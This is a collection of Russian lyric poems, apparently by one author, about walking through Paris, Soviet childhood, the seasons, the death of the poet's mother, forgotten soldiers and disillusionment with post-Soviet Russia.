Я гуляю по Парижу
И, насколько глаз хватает,
Я смотрю. И вот что вижу:

Здравствуй башня-парижанка,
Порождение Эйфеля!
Ты явилась спозаранку
Наяву, на самом деле,
Головой своей беспечной
Прямо к небу воспарила…
Ну, не будь же бессердечной, -
Ты же город заслонила!

Шире, шире панорама…
К небу голуби вспорхнули.
Вижу стены Нотр-Дама,
Наверху сидят горгули:
Клювы свесили и дремлют –
Ночкой темною летали
Да рассматривали землю.
Возвратившись, задремали…

Грянул колокол старинный –
Бом! И ожили все сразу:
Пешеходы и машины
Встрепенулись, "дали газу" -
Вид такой, что вдоль реки
Соревнуются жуки.

Часть 2.
ЧТО РАССКАЗАЛ МНЕ ПАРИЖ

Весь Париж уже проснулся,
Потянулся рук ветвями,
Всем фасадом улыбнулся,
Бойко хлопает дверями:
«Проходите, не толкайтесь,
Удивляйтесь, восхищайтесь…
Вот, пожалуйста, на «блюдце
С золоченым ободочком», -
Только, чур, не поперхнуться, -
Монпарнас, - еще не точка, -
Люксембургский сад, Сорбонна,
Тюильри, Булонь, Тати,
Леонардова мадонна, -
К ней вам надо подойти…
Где она? Конечно в Лувре.
Есть еще Самритэн…
Ах, туда вы не хотите?
Денег мало, говорите?
Как угодно. Без проблем!

На Монмартре не бывали?
Не видали до сих пор?
Базилика там. И дале,
Если даже вы устали,
Километры намотали -
Довезёт фуникулёр.
 
В общем, выйдя на бугор,
Посетите Сакре-Кер!"

Часть 3.
НА МОНМАРТРЕ

На Монмартре, как обычно,
Суета, ажиотаж –
Парижанам всем привычный
И обыденный пейзаж.
Здесь художники, поэты,
Дамы курят сигареты,
Старики и детвора,
Весь бомонд. Эцетера…
В общем, их Монмартр, ребята,
Вроде нашего Арбата.

Часть 4.
АХ, ЭТОТ ШАНСОН!

К сердцу славного Парижа
Я по лестнице спускаюсь,
Продвигаясь ниже, ниже,
Напевая, улыбаюсь
Песню Шарля Азнавура.
Он, вы знаете, фигура!
И вообще он - супер-стар
И пока не слишком стар.
Ну и как не вспомнить, -ах! –
Про нее – Эдит Пиаф!

Часть 5.
«О, ШАНЗЕ ЛИЗЕ…»

А к полудню стало жарко,
Ну и что? Ведь не февраль!
Триумфальнейшая арка
Здесь поглядывает вдаль.
Под ее подножьем площадь
Под названьем – Этуаль
И растет каштанов роща
Недалече. Все как встарь.
И зовется та земля –
Елисейские поля.
Это улица такая,
Откровенно говоря.

Часть 6.
ПУТЬ К МУЛЕН-РУЖ

Помечтавши у фонтана
И приняв из капель «душ»,
От творенья Монферана
Отправляюсь к Мулен-Руж, –
Это кабаре-шантан,
Или проще – ресторан.
Там кутили в прошлый век
Ренуар, Дэга, Лотрек…
Где, - о том не говорю, -
Танцевала Ля Гулю.

Продвигаясь к ресторану,
Замечаю и дивлюсь,
Неприличную рекламу
И описывать боюсь,
Да к тому же из дверей
Сутенёры всех мастей
Всех на улице прохожих
Приглашают для «затей»...
Все же это Авеню
Я не очень-то виню,
Ведь парижская богема -
То особенная тема.

В небе алых два крыла –
Это мельница видна,
Вся как будто на парад!
И туристов целый ряд
Старой Франции гостей
Всех народов и мастей,

А французы как французы:
Все они – любимцы музы,
Все чернявы и смуглы,
В поведении милы.
А о дамах, - не шучу, -
Осторожно промолчу.

Часть 7.
СЕНА

Вот устала, так устала…
Многолюдье у причала,
Где стоит трамвай речной.
Я, купив билет сначала,
За три евро, что ни мало,
Чтобы дать ногам покой
Отправляюсь за толпой.

Мы плывем вдоль парапета
Мимо острова Ситэ…
От России за полсвета.
Ах, как нереально это –
Сена, я, Париж и лето…
Ну, не жизнь, а варьете.

Часть 8.
ВЕЧЕРНИЙ ПАРИЖ

Вся мигает и сверкает
Огоньками Тур Эйфель,
Посвежело, холодает.
Скоро ночь. Пора в отель.
А кругом веселый гам,
Песнь шарманки, смех мадам,
В этот шум, конечно, влился
Колокол на Нотр-Дам
И, насколько глаз хватает,
Все галдит и все сияет,
Словно бы с небес свалился
Тот вселенский тарарам!

- Эта ночь – для молодых,
Для богатых и «крутых»:
В общем, все для них, французов,
А не нас, для остальных… -
Почему-то так подумав, -
Может, возраст виноват? -
Потихонечку, без шума,
Направляюсь я назад:
Ведь достаточно хитро
Мне узнать, где здесь метро.

Часть 9.
ПРОЩАЙ, ПАРИЖ

Не сравнить метро в Париже,
И правдивы те слова,
С тем метро, что к нам поближе –
В лучшем городе - Москва!
………………………………
Завтра сяду я в автобус,
Встретив утреннюю тишь.
Унесет зеленый глобус,
И назад не возвратишь
Драгоценные приметы -
Те улыбки и приветы
И прелюдию рассвета
От которых угоришь.
Навсегда запомню это
Все, что Францией согрето –
Море солнечного света,
Лето, Сена и Париж!


Ах, какие времена!

Ах, какие времена
В чёрно-белом фотоснимке :
На малюсенькой картинке
Пионерская страна -
Косы, бантики, вихры
Детский гомон, птичье пенье
В остановленном мгновеньи
Среди лета и жары!

Эй, фотограф, оживи
Этот снимок хоть на время,
Красногалстучное племя
Помоги – восстанови:
Пусть взлетают в небеса
Наши ситцевые флаги,
Ненадолго, на бумаге,
Возрождая чудеса.

Совершая свой разбег
В романтические годы
Все советские народы
Поспешат в прошедший век
И, немножко постояв
Где-нибудь в шестидесятых,
Мир изменят, как когда-то
Победители в боях,
И поднимется страна,
Заработают заводы,
В эти нынешние годы
Будет мир, а не война.

Эй, фотограф, помоги!
Но я знаю, ты не слышишь...
Что-то ухает на крыше:
То ли филин, то ль враги…

 Ах, какие времена
На старинном фотоснимке…


Декабрь

И снова сумрачный декабрь
Развесил в небе покрывало,
Мороз, колючий ветер, хмарь
И, кажется, такого встарь
Отроду вовсе не бывало.

Коварный коротышка-день
Украл сегодня с неба солнце,
Развесив над домами тень,
Его Сиянье набекрень
Запрятал в сундучок на донце.

Не разберёшься в темноте
Куда идти и где дорога,
И вроде б улицы не те,
В кромешной этой пустоте
Карабкаюсь через сугробы.

Жду середины января,
Когда же солнышко сквозь стужу,
Сияньем нежным одаря,
Свой лучик выпустит наружу,
Клубком пушистым прошмыгнёт
И, пробираясь выше, выше,
Тихонько лучики свернёт
И, как ленивый рыжий кот,
Приляжет на железной крыше!


Ну и что с того

Ну и что с того? Так и будем жить.
Нам от этих мест не уйти.
Поумерим пыл, поубавим прыть -
От судьбы своей нет пути.

Ну и что с того, что богаче там,
Позабористей и сытней?
Ты подумай сам, кто там рад гостям,
И пора бы стать поумней.

Ну и что с того? - Укачу! - твердишь,
Что в вагон зайдёшь - и привет!?
Ждёт тебя Берлин или град Париж? -
Есть на то ответ - точно нет.

Отвори окно, погляди вокруг,
В каждом доме здесь свой уют.
Ну, уедешь ты на полгода, друг...
Все друзья потом засмеют.

А чужая жизнь - не цветущий рай,
Ни родных там нет, ни друзей.
Затоскуешь враз, это так и знай,
Ты свой отчий край пожалей.

Ну и что с того? Так и будем жить.
Нам от этих мест не уйти.
Поумерим пыл, поубавим прыть -
От себя к себе нет пути.


Маме

День творения долог и тих,
Всё вокруг загрунтовано белым,
Манит... Манит в иные пределы
От полозьев размашистый штрих,
Бубенцы зазвенят под дугой
В дальний путь устремится дорога,
Где деревня, проста и убога,
Распростёрла крыла над тобой.

Лампы свет освещает тетрадь,
Нет войны, ты пока что девчонка,
Стопка книжек ютится в сторонке -
Завтра в школу, и рано вставать.
Рыжей кошкою дремлет в ночи
Немудрёное жизни пространство,
Возлежат на поду калачи -
Вековечной Руси постоянство.
Далеко еще месяц июнь
И начало войны предстоящей.
Маня... Маша... Маруся… Машунь,
Ты такою была настоящей!

День творения долог и тих
На закате румянцем алеет,
По заснеженной белой аллее
Понесу недописанный стих,
А когда устоится строка
Потемнеют снега и растают,
Журавлиные белые стаи
Понесутся домой в облака


Рождественская ель

Опять на улице весна
И в воздухе капель,
А за окном стоит она –
Рождественская ель,
Но облетела мишура,
Осыпалась хвоя,
А кажется еще вчера
В начале января
Она сверкала красотой,
Гирляндами огней,
Вокруг кружился
Целый рой,
Весь мир ее гостей,
Сияли средь ее ветвей
Стеклянные шары…
Растаял круг
Ее друзей,
Не слышно детворы.

Но каждый нес
К себе домой
Подарки под полой,
А где же дед, -
не надо слез, -
С фальшивой бородой?
Стоит на улице одна
Рождественская ель,
А на дворе опять весна
И капает капель.


Околоновогоднее

Иными стали: месяц, год
И новые пошли минуты,
Снежинок новых хоровод,
Дела, заботы и маршруты.
Исчезли, канули в туман
В весенней зелени деревья
И недочитанный роман,
Твоё отсутствие доверья,
Твои надежды на любовь
При бесконечности разлуки,
Тобой придуманная новь
И разные былые штуки
Истаяли. Остался дым
Отечества на пепелищах,
Ты стал убогим и немым,
Средь нищих
Тоже ставший нищим...
Но есть дорога в облака
В голубизну бездонной выси,
Где Слово, вместо маяка,
Сияет во глубинах мысли.

Блажен, кто смолоду внимал,
С сумой и посохом шагая,
Одним лишь звёздам и Богам
Среди дорог в подножье рая,
Кто с ликом грустного Пьеро,
На круге жизни быстротечном
Слагает сердцем и пером
Стихи свои о бесконечном.    


А нынче нет зимы

А нынче нет зимы. Есть только ощущенье:
Прихода вешних дней без холода и стуж,
Как будто бы весна в прекрасном проявленьи
Небесной синевы и ручейков, и луж
Восходит на крыльцо, - остановись, мгновенье, -
Растопятся сердца, снега и звонкий лёд,
Вот только бы сейчас чуть проявить терпенье -
И всё оно само… Само произойдёт!

- Но что там говорят синоптики? Послушай!..
- Опять грядёт циклон и вьюги, и мороз.
Почуешь, как декабрь проветривает душу,
И времечко ушло, и скрылся твой обоз…
Ты календарь повесь, а старый выбрось в печку:
Все выпали листы, а вместе с ними дни,
И память уж не та… Да и в груди сердечко
Немножечко болит, спаси и сохрани.
..........................................
Убереги, Господь, живущих на планете:
Кто молод и кто стар, в любом краю земли,
А главное храни
Тех, что зовутся – дети.
И утоли тоску… Печали утоли.


Памяти мамы

Ну, вот и всё. Меня там больше нет
В том городе, где ненадёжно зыбко,
Остались в прошлом радость и ошибки -
Далёкой жизни скомканный сюжет.

Меня там нет. Осталась только тень
От той поры, где пело и и смеялось
И не было намёка на усталость
Во времена, когда цвела сирень.

Прости, прощай! Меня там больше нет
На той земле. А было так непросто
Пройти свой путь с рожденья до погоста
Сквозь толщу из мгновений, дней и лет.

Я здесь уже. Мной пройден «Рубикон».
На облаках стоит небесный город,
Где все находят, стар он или молод,
Покой и мир, и правду, и закон.


Кариатида

Вы не ошиблись. Я - кариатида.
Из мрамора паросского, увы.
Не женщина, а каменная глыба,
Века, не поднимая головы,
Взираю я сквозь сомкнутые вежды
На суету людских живых существ,
Лелеющих нелепые надежды
На долголетие, богатство и успех.

И не одно уже тысячелетие
Мой торс прекрасен, прочен и здоров,
Ведь нас ваяли, это вы заметьте,
Немалое количество творцов.
Средь них один был - сам Буаноротти!-
Вы видите? Следы его резца
Впечатаны в моей холодной плоти,
Невидимые только для слепца.
 
Но я не знаю гордости порока,
Не ведая желаний и страстей,
А то, что я навечно одинока,
То никому не видно из гостей -
Толпе зевак, глазеющей без толку
На красоту моих тяжелых ног,
Украдкой потиравшей втихомолку
Мой золотой сусальный ободок.

А фриз, вернее, часть антаблемента,
Всей тяжестью своей на мне лежит.
Какие уж тут к чёрту сантименты,
Но так же прям мой нерушимый вид,
Взираю я решительно под ноги,
Поскольку не поднять мне головы:
Не женщина я, стало быть, в итоге -
Природные законы таковы!


Билеты в весну

В окно смотрел лазоревый апрель
И приближалось ласковое лето...
Ах, это было! Это было где-то
Давным давно за тридевять земель,
За три десятка позабытых лет,
Что укатились в прошлое, минули,
И солнце, в молодом еще июле,
Растаяло, как дым от сигарет.

Декабрь у ног лежит, как старый пёс:
Видать, навеки поселился в доме,
Он растянулся,будто на соломе,
Не ведая о временах стрекоз.
Ему лишь было б сыто да тепло,
Чтоб полыхала в доме жарко печка
И никогда б не подошла к крылечку
Весна. А всё ж ему назло
Маячит веткой дедушка Мороз:
Стучит усердно по узорной раме.
Я знаю точно, он с собой принёс
Январь, февраль и дальше "по программе",
В окно заглянет ласковый апрель:
И, приглашая за собою в лето,
Входные даст зелёные "билеты",
Поставишь в воду - зацветёт сирень!


Старый парк

Не жди ни лета и ни той весны:
Они из прошлого, - бесповоротны сроки, -
Они ушли, куда уходят сны
И старые тетрадки, и уроки,
Остался только отзвук песни той,
Что слышалась порой в аллеях парка,
Где было всё томительно и жарко,
И полыхало сбывшейся мечтой.
Кувшинки трепетали на волне,
С небес слетали солнечные блики
И освещали праздничные лики
Всех тех, кого уж нету на земле.


Держись за небо


Вибрирует, качается канат,

А по нему, как ангел бестелесен,

Скользя, порхает в танце акробат,

Себя под своды купола подвесив,

 

Он балансирует легко, и не боясь

Опасности под бойкими ногами,

Крепчайшую имея с небом связь,

Как голубь приютившийся на храме.

 

Не упади с небес! Не оступись!

Не отвлекайся даже на мгновенье -

Слепящая торжественная  высь

Не ведает ни страха, ни сомненья.

 

Ступай, иди… Ещё шажок-другой:

Ведь ждут тебя на том конце каната,

Держись за небо крепкою рукой -

Оно всегда подхватит акробата.

 

Вибрирует, качается канат,

А по нему, легка и бестелесна,

Ступаю осторожно наугад,

А вкруг меня лишь небеса и бездна!


Вилами по воде

Что вИлами писалось на воде -
И было ль то, иль вовсе не бывало? -
Но только дни, в привычной череде,
Так хочется перемешать сначала,
Потом переписать всю эту жизнь
Вписать туда совсем-совсем иное,
Не то, как мы и весь социализм
Вписались в воды мутного застоя.
И не о том, что началась война
Так неожиданно тогда в Афганистане.
И содрогнулась гордая страна,
И люди гибли там не на экране.
Ну, а страну всё продолжали гнуть
Лжепатриоты и вожди лихие –
И подняли со дна такую муть,
Что не припомнит старая Россия.
И снова мы писали на воде
Свои минуты, дни и даже годы,
В пустопорожней вечной суете
Мы утопили солнышко свободы,
Оно померкло где-то в глубине -
На дне оно теперь шипит и тлеет,
И поздно говорить по чьей вине,
И неизвестно что нас отогреет.


На старинном фотоснимке

На старинном фотоснимке

Надежда Камянчук
На старинном фотоснимке
Поместилась вся семья:
Тётя Люба и Галинка,
Вова, Валя, в центре я
На руках сижу у мамы -
Платье темное в горох,
А денёк счастливый самый
Для детишек четырёх.
Нет здесь только брата Коли -
Он у дедушки в гостях:
Он учиться будет в школе
И воротится на днях.

Нет отцов: один убитый
В чужедальней стороне,
Папа мой - совсем сокрытый,
В общем, неизвестный мне:
Где? Неведомо, незнамо -
Только слышу иногда
Отчего-то плачет мама
Будто у неё беда…

Мало мужиков вернулось
После брани на войне:
Кому счастье улыбнулось,
Те в большой теперь цене...

Ну да что! У нас корова -
Молоко она даёт,
Всей семьи первооснова,
Жизни нашенской оплот,
Только сено на исходе,
Да и денег не достать,
Но растёт, назло природе
Молодая наша рать.

Всё ребяческое счастье -
В речке тёплая вода,
Нас житейские напасти
Не печалят никогда:
Недалече, в полквартАла,
Где луга с густой травой,
В парке музыка играла,
И оркестрик духовой!

По дороге по центральной
В баню полк солдат идёт
С песней самой актуальной
Про победный наш народ!

Время близится к закату,
Завтра будет новый день,
Спят и мамы, и ребята,
Сбив подушки набекрень.
А назавтра наш фотограф
Навсегда застигнет миг -
Остановится хронограф,
Что из вечности проник.
И на этом фотоснимке
Разместится вся семья:
Тётя, мама и Галинка,
Вова, Валя, в центре я!


Заплатки для души

Я чиню сегодня душу:
Пришиваю ей заплатки
И с изнанки, и снаружи,
Чтоб была она в порядке.

Как пришьётся - так срастётся
Всё, что раньше не срасталось,
Цветом ярким обернётся
То, что чёрным показалось.

Самотканые заплаты
Не линяют, не стареют,
Сберегают словно латы
И в морозы отогреют.

Вот уже почти готово -
Будет всё с душой в порядке,
Раз стишок сложился новый,
Подходящий для заплатки!


Эй, вы!

Эй, вы! Избранники народа!
Как вам сидится наверху?
Румяна ль мордочка в пуху?
Какая в облаках погода?

Мы те, кого еще вчера
Электоратом называли,
Когда вас к небу поднимали.
Теперь закончена игра.

Да, мы - никто. Мы просто масса.
На нас взгляните с облаков,
Мы те, кто с поля дураков.
Мы просто пушечное мясо.

Вы наверху как на показ:
Элита! Избранная раса!
Какое дело вам до нас,
Мы - только пушечное мясо...
1995 г.


Гололедица

Опять к рассвету гололедица
блестит, - и вправду хороша! -
глядит с небес на мир медведица,
глотая воду из ковша,
А я в далекий путь намерена,
слегка боюсь, - а как пройду?-
шагаю в темноту растерянно, -
а вдруг да сразу упаду?-
но приспособилась как будто:
вдруг стали ровными шаги,
легла дорога перламутра
под две уверенных ноги.

Вся жизнь, как будто гололедица,
и я иду по ней, иду…
А с неба добрая медведица,
мне дарит яркую звезду


А в Париже дожди

А в Париже дожди…
Этим утром в Париже дожди
Над Монмартром склонились
Холодным звенящим туманом.
Голубеет вдали,
Недалече от стен Нотр-дама,
Одинокая башня,
И видится сад Тюильри…

А в России снега…
Этим утром большие снега,
С хлопотливого неба
Бесстрашно на землю упали.
Стали белыми враз
Города и деревни, и дали:
Знать, опять на полгода
Явились сюда холода.

Глянь-ка, солнце встает,
Заалела румянцем заря,
Потянуло дымком,
В каждом доме затоплены печки,
И старушки лопатами чистят
Дворы и крылечки.
А как щеки горят на морозе
В канун декабря!

Но стремится вослед
За поземкой в дорогу душа,
В край несбыточных грез,
Где мое запоздалое лето
Осеняет Париж,
Где туманные бродят рассветы,
Под дыханье шарманки,
Тихонечко в вальсе кружа


Жил да был человек

Жил да был за стеной человек,
А сегодня венки и прощанье,
Вроде звался Антон? Иль Олег?
А быть может и попросту Ваней…

Вон, гляди, и венки понесли,
И под медные звуки оркестра
Глядь, уж бросили горстки земли,
Как муку в пелеменное тесто.

Водкой горькой помянут его, -
Мол, прощай, и земля тебе пухом, -
Не забудем, иль вроде того…
И слеза надоевшею мухой.

Жил да был за стеной человек
Вроде звался Антон или Ваня,
Или Игорь… А может - Олег...
Так давайте его и помянем...


За приворотным зельем

Здесь, на Руси, когда-то раньше встарь
По всяческим преданиям и поверьям,
Шли девушки за приворотным зельем
В туманную предутреннюю хмарь.
Встречала их холодная роса,
Шершавый дождик с тоненьких осинок
И синие святые небеса
Невинные и чистые, как инок.

Свежо и сыро, холодно в лугах,
К телам прильнули мокрые рубахи,
И не унять девические страхи
Такие, что серпы дрожат в руках!
Цветение в ивановскую ночь
Особенно ценнО и благодатно -
Траву в мешок да по домам обратно
От лешего да от кикимор прочь...

А может быть история права,
И есть в траве магическая сила:
Прошли века, а наша Русь жива,
И не трава ль её оборонила?


Рождение весны

Земля гудит от напряженья:
Как и положено в свой срок
Бурлит серебряный поток,
Весны приветствуя явленье,

Лёд тронулся! Вода сильна!
Сметая зимнее величье
И торжество предвидя птичье,
Родится юная ВЕСНА

И, сотворённая из вод,
ЗакрУжит и закуролесит,
В венке из соловьиных песен
Творя малиновый восход.

Её благие проявленья
В бутонах, листьях и траве,
Глубокой неба синеве
И в бесконечном продолженьи.

Среди людей, среди планет -
Во всём таится обновленье,
И никакого нет сомненья,
Что нет конца. И смерти нет.


Первый снег

1.А над землёй кружился первый снег
И, осеняя головы прохожих,
Имел у редких зрителей успех,
А может не имел его. но всё же
Кружил, порхая в свете фонарей,
А люди торопились на работу,
А, впрочем, это было всё в субботу
Иль в воскресенье, что всего верней!

припев:
А в небесах блестит, на нить подвешена,
Игрушкой ёлочной луна блестящая,
В тот снег влюблённая и восхищенная
Всегда не спящая, во тьму смотрящая!

2.А на земле светился конкурент -
Фонарь, что в окружении снежинок,
И в этот исторический момент
Как будто выходил на поединок,
А снег пушистый к танцу приглашал,
Он рассыпался искрами под ноги,
Как будто бы свой первый снежный бал
Решил устроить прямо на дороге

припев:
А в небесах блестит, на нить подвешена,
Игрушкой ёлочной луна блестящая,
В тот снег влюблённая и восхищенная
Всегда не спящая, во тьму смотрящая!

3.И было счастьем в это утро жить,
Неся в руке подтаявшие льдинки
И ощущая - некуда спешить,
Ведь жизнь еще на первой половинке,
А люди шли в сияньи фонарей,
Те люди торопились на работу,
А, впрочем, это было всё в субботу
Иль в воскресенье, что всего верней!


Родина нас не забудет

- Родина вас не забудет! -
Им говорили когда-то,
И уходили солдаты
Отечество защищать,
И верили эти ребята
Светло, горячо и свято -
За землю, за друга-брата
И жизни не жаль отдать.

- Родина вас не забудет! -
В окопах под Сталинградом
Под бомбами, как под градом,
Вчерашние пацаны:
Взрыв мимо... Взрыв где-то рядом!
И вздыбился мир снарядом
В великом сражении с гадом -
Захватчиком нашей страны.

- Родина вас не забудет! -
В Чечне и в Афганистане
Осталась на поле брани
Ребят молодая рать.
А сколько сломанных судеб
У тех, кто был тяжко ранен.
Возможно ли было ране
Все это предугадать?

-Родина нас не забудет... -
И я у страны спросила:
За что же ты их забыла?
Ты слышишь меня, иль нет?
Скажи мне, что с нами будет?
Мне это необходимо!..
А Родина мимо, мимо…
Она не дает ответ.

И нет ни конца, ни краю –
Бредут по стране калеки,
Ненужные человеки -
Обугленные сердца.
Я знаю. Я точно знаю -
Их слезы сольются в реки,
И памятью им навеки
Терновые иглы венца.
2001г.


В этой комнате сны


В этой комнате сны – будто редкое чудо,
Как подаренный первый букетик из роз.
Я тебя забываю. Я тебя позабуду.
Может, ты не поверишь, но это всерьез.

Утопает в стихах вожделение света,
Дни свои коротаю, уже не скорбя…
Это кануло в лету минувшее лето.
Это время прозренья. Забвенья тебя.

В этом городе дождь никогда не проходит,
Не скрывают деревья своей наготы,
Только осень шершавая по сердцу бродит,
За собою сжигая мосты и мечты.

В этой комнате сны – будто редкое чудо.
Увядает в бокале букетик из роз.
Я тебя забываю. Я тебя позабуду.
Я уже позабыла. И даже без слез.


Совсем одна пойду

Совсем одна пойду, совсем одна
войду в благословенные туманы.
навеки, навсегда, на постоянно
для Вас непознаваемо странна.
В предутренних туманах растворюсь,
подобная холодному рассвету,
и кану в фиолетовую лету,
и никогда уже не возвращусь,
И не прочтёте Вы мои стихи:
они немы для Вас да и не нУжны,
лишь абрис слов наивных и недужных
останется, как легкие штрихи.

В предутренних туманах растворюсь...


Еще не кончается жизнь

Ещё не кончается жизнь, только лето
Ушло в никуда, впереди - холода.
Я снова на поезд возьму на вокзале билеты,
А там всё забудется, выпито будет и спето,
И где-то в тумане растают былые года.

Еще не кончается жизнь, только осень
На плечи накинула яркий пунцовый платок,
И дело не в том, что кончается осень, но проседь
Сегодня легла у окрестных дорог.

Ещё не кончается жизнь, только лето
Умчалось куда-то в иные миры и года,
Сгорело, истлело, искурено как сигарета,
И это совсем небольшая беда!


Письмо на небеса

Да что ты, мама, всё у нас нормально,
Мы на земле: я, сыновья и внуки,
Вот только ты за поднебесной тайной
На облаках. И мы с тобой в разлуке.

Накроем стол, отметим день рождения!
Да твой конечно! В пятницу он будет!
Ты, прилетай... Лети без промедления
Хоть ветерком. Тебя там не осудят
Те, что крылаты с первых дней творения,
Во чьих владениях небеса и звёзды,
Я у тебя... у них прошу прощенья,
Да вот боюсь, наверно слишком поздно...

Хоть на часок, хоть на одну минуту
С тобой побыть... У ног твоих склониться
И, уходя по своему маршруту,
Я может быть успею помолиться..


Потерянное поколение

Давно уже пришла пора
Мне посвятить своё творенье
Тебе, былая детвора -
"Потерянное поколенье"!

Всем тем, кому полсотни лет...
Ну, может, младше или старше,
Тем, что шагали, не секрет,
В парадном пионерском марше.

И вот дотопали, дошли,
Остановились у порога:
О чём мечтали - не смогли, -
Не скатертью была дорога.

Нас обманули? Сами мы
Всегда обманываться рады...
Гордились силою страны,
А нынче водку пьём с досады.

Шли с неба кислые вожди
Под гром оваций и салютов
И оказалось, что вожди
У нас из рода лилипутов.

Мальчишка в цинковом гробу
Всё по ночам в кошмарах снится...
Тебе я это не смогу
Простить, бездушная столица.

И никогда мне не забыть
России стыдное паденье
И то, что не могла ценить
"Потерянное поколенье"!
1999г.


Там, где ты молчишь

1. Там, где ты живешь
В прекрасной и далёкой стране,
Не зная ничего обо мне,
Где всегда весна
Ты в старой лодке дивного сна
Скользишь, тебя качает волна.

Припев:
День так долог и беспечен...
Несбывшаяся встреча...
Далёкая мечта...
Сон, который сменит вечер,
Пусть будет бесконечен
И будет даль чиста.

2. Там, где ты молчишь,
Остановился времени бег,
Там никогда не выпадет снег.
Мир, покой и тишь.
Наперекор разлуке-судьбе,
Иду к тебе по лунной воде.

Припев:
День так долог и беспечен:
Несбывшаяся встреча...
Далёкая мечта...
Сон, который сменит вечер,
Пусть будет бесконечен
И будет даль чиста.

3. Свет наполнит дом,
Но мы с тобою будем вдвоём
Лететь на зов вечерней звезды.
Луч седой луны
По тихой ряби сонной воды
Дорожкой серебристой скользит


Бабье лето

Вроде радоваться надо-
на пороге бабье лето:
это, стало быть, награда,
то, что было недопето,
не досказано кому-то,
и чье сердце не согрето,
вот за эти все минуты
преподносят бабье лето.

Бабье лето - это можно,
но уже почти не нужно,
«завтрак» приносить на «ужин» -
бесполезно, безнадёжно.

Ну, наступит это «лето»
к той, что вся спина дугою
и уж песенка пропета -
успокойся, Бог с тобою.

Но приходит бабье лето
к нашим женщинам покуда,
все грустят да плачут где-то
бабы, верящие в чудо.


Весна по имени Марта

Два месяца… Нет, ошибаюсь, три
Осталось до положенного старта
Весны, чье имя точно будет Марта,
А значит, все ненужное сотри,

Забудь, что было в этом декабре,
Когда на сердце опускались тени
Из одиночества, тоски и сожалений
И поселялись бесами в ребре.

Забудь, что было нынешней зимой,
Живи весной, которая настанет,
Она придет и точно не обманет
И будет самой яркой, расписной!

Ну, подожди, пожалуйста, чуть-чуть
До солнечно-улыбчивого старта
Весны, чье имя точно будет Марта,
Осталось только сердце распахнуть!


Кораблик

Ни спросонья, ни со скуки,
А быть может просто так
Я угадываю звуки
Иль улавливаю знак
Той судьбы моей грядущей,
Что скрывается во тьме,
Где кораблик мой бегущий
На серебряной волне
Полыхает парусами
В трепетании ветров
По таинственной программе -
Порождений ярких снов,
Где оранжевые звёзды
Мне указывают путь,
Километры дней, как вёрсты -
Не догнать и не вернуть,
Только лунная дорога
Да звучание струны,
И так мало… И так много…
И так долго до весны.


Ну и что с того?

Ну и что с того?
Так и будем жить.
Нам от этих мест
Не уйти.
Поумерим пыл,
Поубавим прыть -
От судьбы своей
Нет пути.

Ну и что с того,
Что богаче там,
Позабористей
И сытней?
Ты подумай сам,
Кто там рад гостям,
И пора бы стать
Поумней.

Ну и что с того? -
Укачу! - твердишь,
Что в вагон зайдёшь -
И привет!?
Ждёт тебя Берлин
Или град Париж? -
Есть на то ответ -
Точно нет.

Отвори окно,
Погляди вокруг,
В каждом доме здесь
Свой уют.
Ну, уедешь ты
На полгода, друг...
Все друзья потом
Засмеют.

А чужая жизнь -
Не цветущий рай,
Ни родных там нет,
Ни друзей.
Затоскуешь враз,
Это так и знай,
Ты свой отчий край
Пожалей.

Ну и что с того?
Так и будем жить.
Нам от этих мест
Не уйти.
Поумерим пыл,
Поубавим прыть -
От судьбы своей
Нет пути.


Ни дороги, ни тропы

Ни дороги, ни тропы,
Чернота да пепелища...
И чего, скажите, ищем
До последней до черты?
Никого и никогда
Не удержим, не обманем,
Понапрасну сердце раним
По дороге в никуда.

По дороге в небеса
Неказистые жилища
Да российские кладбища,
Да земные чудеса:
Поднимается трава
На обугленном кострище
И грибы - лесная пища,
И на кустиках листва.

Вот такой простой закон
Жизни, смерти и рожденья,
Отпусти свои сомненья -
Подари земной поклон
Небу, солнцу, людям близким,
Тем что живы и ушли,
От души и низко-низко
До России, до земли!


Как пьют в России

Как пьют в России, так не пьют нигде:
До пустоты, до умопомраченья,
До тошноты, до нищеты, до отвращенья -
При всякой власти и любом вожде.
А, может, по-другому не дано?
В краю обид - одно лишь утешенье...
И льют чужие слуги в исступленьи
На нашу землю горькое вино!


Рождение стиха

Шагаю по траве,
как по воде
и ощущаю мир
под птичье пенье,
я точно знаю:
никогда нигде
никто
не сотворит
стихотворенье,
что созревает
в тайной глубине -
и вот сейчас,
в сей миг,
родится строчка:
её явленье
движется во мне,
как нарожденье
жданного сыночка.

Шагаю по воде,
как по траве,
под мудрое
дыхание стихии,
поэтом…
новоявленным мессией,
с пожаром
в воспаленной голове,
сплетаю
в нитку прочную
стихи я,
стрелой дрожу
на тонкой тетиве.

И появляется
на свет дитя -
стишок пока нелепый
и кричащий,
внезапно образ свой
приобретя,
мой стих растет,
как самый настоящий
ребёнок...
Вот уже и первый шаг
такой неловкий,
непослушно-шаткий…
Вперед шагай, малыш!
Да будет так.
пусть будет все
у нас с тобой
в порядке.

Шагаю по судьбе,
как по воде…


Распластан и разверзнут

Распластан
и разверзнут,
как на плахе,
и жизни
подведя своей итог,
в больничной
проштампованной
рубахе,
я так мучительно
сегодня одинок.

Марионеткой
стянутой шнурами
не чувствую
ни рук своих
ни ног,
о, как же я,
не выразить словами,
отчаянно
сегодня одинок.

Пускай разбит,
распят и колесован,
но не готовьте,
ангелы, венок:
я с жизнью этой
накрепко спрессован,
я не хочу,
и мне еще не срок
туда, во тьму,
где торжество распада,
где видится схождение
всех дорог,

а лист кружится
в пору листопада
и холода восходят
на порог.


Вагончик

Сумерки вагонные,
Думушки дорожные,
Словеса шаблонные
Да правдиво-ложные.
Я лежу на полочке
И листаю книжицу,

Время на осколочке
Словно поезд движется.

Вот бы спрыгнуть с лесенки -
Жизнь устроить заново,
Да начать бы с песенки
Счастья долгожданного,
И бегут и кружатся
Сосенки да ёлочки,
Что-то мне недужится
На вагонной полочке.

Что там за метелями
Огоньками светится?
Бродит между елями
Звёздная медведица.
А вагончик катится
Да стучит колёсами…
Еду... Все наладится
С дождевыми росами.
https://vk.com/club16809861?w=wall-16809861_209  исп. Ирина Камянчук 


Чёрные избы да зимушки белые

Чёрные избы да зимушки белые,
Что вы со мною когда-то наделали?
Чем заморочили, чем обнадёжили?
Всю мою жизнь извели-искорёжили.

Может, оставила б землю окрестную,
Птицей умчалась бы в даль поднебесную
Да одурманили зори несмелые,
Чёрные избы да зимушки белые.


Я гуляю по Парижу

Часть 1.
Нет, так в жизни не бывает! -
Я гуляю по Парижу
И, насколько глаз хватает,
Я смотрю. И вот что вижу:

Здравствуй башня-парижанка,
Порождение Эйфеля!
